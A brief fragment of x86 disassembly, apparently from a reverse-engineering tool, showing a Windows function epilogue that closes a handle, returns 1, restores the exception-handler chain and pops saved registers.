call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10